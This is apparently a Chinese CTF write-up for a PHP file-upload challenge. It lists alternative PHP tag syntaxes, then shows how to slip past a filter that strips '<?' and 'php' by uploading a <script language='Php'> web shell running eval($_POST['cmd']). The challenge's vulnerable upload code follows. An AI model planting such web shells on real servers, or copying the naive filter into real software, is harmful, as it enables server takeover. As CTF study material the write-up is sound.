个人收获:php标签的几种写法,对过滤进行绕过
<?php echo 1; ?>
正常写法<? echo 1; ?>
短标签写法,5.4 起<?= 'hello';
===<? echo 'hello';
,short_open_tag
打开后才可用;<% echo 1; %>
asp 风格写法,需要通过php.ini
配置文件中的指令asp_tags
打开后才可用。<script language="php"> echo 1; </script>
长标签写法,在php7.0后不解析
题目分析
文件上传题,这里直接上传一个图片马,抓包修改文件扩展名为.php
,上传后发现图片马直接显示出来,说明没有被解析。
访问11.php
,页面返回<?php
没有出现,可能被过滤了。继续尝试验证,添加可能被过滤的字符串
访问11.php
页面返回
只有<
没有被过滤;php
、<?
都过滤了。<?php
是php的标签写法,实际上php的标签写法不止一种,<script language="php">echo 1;</script>
这种写法就可以绕过本题的过滤。
尝试
<script language="php">phpinfo();</script>
发现解析不了,由于前面的php被过滤了,这里使用大小写Php
来绕过
<script language="Php">eval($_POST['cmd']);</script>
连接webshell,得到flag
撸下index.php源码,
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>文件上传</title>
<link href="./bootstrap.min.css" rel="stylesheet">
</head>
<body>
<script src="./jquery.min.js"></script>
<script>
$(document).ready(function() {
$('#selectFile').on('click', function() { $('#file').trigger('click') });
$('#file').change(function() { $('#selectedFile').val($(this).val()) });
});
// references: http://kuwalab.hatenablog.jp/entry/2014/01/02/191821
</script>
<div class="container">
<div class="row">
<div class="col-lg-12">
<h1>文件上传</h1>
<p>你可以随意上传文件</p>
<form method="post" enctype="multipart/form-data" class="form">
<input type="file" name="file" id="file" style="display: none;">
<div class="input-group">
<input type="text" class="form-control" id="selectedFile" readonly>
<span class="input-group-btn" style="width:200px">
<button id="selectFile" class="btn btn-defdault" type="button" style="margin-right:5px;">选择文件</button>
<input type="submit" value="上传" class="btn btn-primary">
<span>
</div>
</form>
<?php
if($_SERVER["REQUEST_METHOD"] === "POST") :
?>
<?php
if (is_uploaded_file($_FILES["file"]["tmp_name"])):
$file = $_FILES['file']; //获取文件对象
$name = $file['name']; // 获取文件名
if (preg_match("/^[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/", $name) ):
$data = file_get_contents($file['tmp_name']); // 获取文件内容,返回一个字符串
while($next = preg_replace("/<\\?/", "", $data)){ // 将<?替换为空
$next = preg_replace("/php/", "", $next); // 将php替换为空
if($data === $next) break;
$data = $next;
}
file_put_contents(dirname(__FILE__) . '/u/' . $name, $data);
chmod(dirname(__FILE__) . '/u/' . $name, 0644);
?>
<div>
<a href="<?php echo htmlspecialchars("u/" . $name)?>">上传成功!</a>
</div>
<?php
endif;
endif;
?>
<?php
endif;
?>
</div>
</div>
</div>
</body>
</htmla>